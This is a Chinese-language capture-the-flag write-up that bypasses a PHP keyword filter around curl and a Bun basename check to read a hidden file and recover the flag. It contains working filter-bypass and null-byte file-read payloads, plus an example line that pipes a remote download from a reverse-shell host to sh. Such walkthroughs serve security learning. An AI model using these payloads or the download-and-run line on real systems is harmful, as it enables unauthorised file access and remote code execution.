开题,直接给了源码。
/*
Read /next.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
array_key_exists('x', $_GET) &&
!str_contains(strtolower($_GET['x']),'file') &&
!str_contains(strtolower($_GET['x']),'next')
){
$url = $_GET['x'];
}
system('curl '.escapeshellarg($url));
提示我们读取/next.txt
文件,但是代码中用str_contains()
函数过滤了字符串file
和next
。
分析一下陌生函数。
array_key_exists('x', $_GET)
:检查数组里是否有指定的键名或索引,相当于issert($_GET['x'])
。
str_contains(strtolower($_GET['x']),'file')
:将第一个参数转小写后检测第一个参数($_GET[‘x’])里面是否包含第二个参数(file字符串)
escapeshellarg($url)
:将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。这样一来,我们只能curl 一个URL了,无法拼接等操作执行别的命令。
尝试用curl命令+file://伪协议读取文件/next.txt
,期间还要绕过过滤。
payload:
?x=fil{e}:///nex{t}.txt
或者
?x=fil%ffe:///nex%fft.txt
或者正则匹配绕过
?x=fil[e-e]:///nex[t-t].txt
解释一下这些paylaod。
第一个包花括号的?x=fil{e}:///nex{t}.txt
这个包花括号绕过法目前只发现对curl
的参数有效。比如:
curl fil{e}:///nex{t}.txt
curl {h}ttps://your-shell.com/120.46.41.173:9023 | sh
第二个payload?x=fil%ffe:///nex%fft.txt
是利用了escapeshellarg()
函数的漏洞,可参考浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过_slug01sh的博客-CSDN博客
成功读取/next.txt
文件,提示我们前往http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/
提示我们输入/read/?file=/proc/self/cmdline
,猜测这里file参数存在任意文件读取。
先读取一下/proc/self/cmdline
看看。
L2Jpbi9idW4tMS4wLjIAL2FwcC9pbmRleC5qcwA=
解密后是
/bin/bun-1.0.2\x00/app/index.js\x00
读取/app/index.js
。/read/?file=/app/index.js
。解码后是:
const fs = require('node:fs');
const path = require('path')
/*
I wonder what is inside /next.txt
*/
const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
port: 8000,
fetch(req) {
let url = new URL(req.url);
let pname = url.pathname;
if(pname.startsWith(`/${secret}`)){
if(pname.startsWith(`/${secret}/read`)){
try{
let fpath = url.searchParams.get('file');
if(path.basename(fpath).indexOf('next') == -1){
return new Response(fs.readFileSync(fpath).toString('base64'));
} else {
return new Response('no way');
}
} catch(e){ }
return new Response("Couldn't read your file :(");
}
return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
}
return
}
});
读一遍代码后发现了逻辑漏洞。在过滤时使用了basename()
函数处理传入的文件路径。
if (path.basename(fpath).indexOf('next') == -1){
return newResponse(fs.readFileSync(fpath).toString('base64'));
}
JS中的basename()
函数功能类似于PHP中的basename()
函数。函数返回路径中的文件名部分。例如当前路径为/foo/bar.txt
,则返回bar.txt
payload:(%00截断)
/read/?file=/next.txt%00/xxx
Tm93IGl0J3MgdGltZSBmb3IgYSB3aGl0ZWJveCBjaGFsbGVuZ2UuCkZpbmQgdGhlIGhpZGRlbiBzdWJkb21haW4gYW5kIHRoZW4gYSBzZWNyZXQgZW5kcG9pbnQgYW5kIG9ubHkgdGhlbiB5b3UgbWF5IHJlY2VpdmUgeW91ciBmbGFnLgpMaW5rIHRvIHRoZSB3ZWJzaXRlOiBgYW5WemRDQnJhV1JrYVc1bkxpQkJVMGxUZTJkdmIyUmZhbTlpWDJKMWJuMGdDZz09YAoK
解码后是
Now it's time for a whitebox challenge.
Find the hidden subdomain and then a secret endpoint and only then you may receive your flag.
Link to the website: `anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==`
anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==
解码后如下,成功得到flag
just kidding. ASIS{good_job_bun}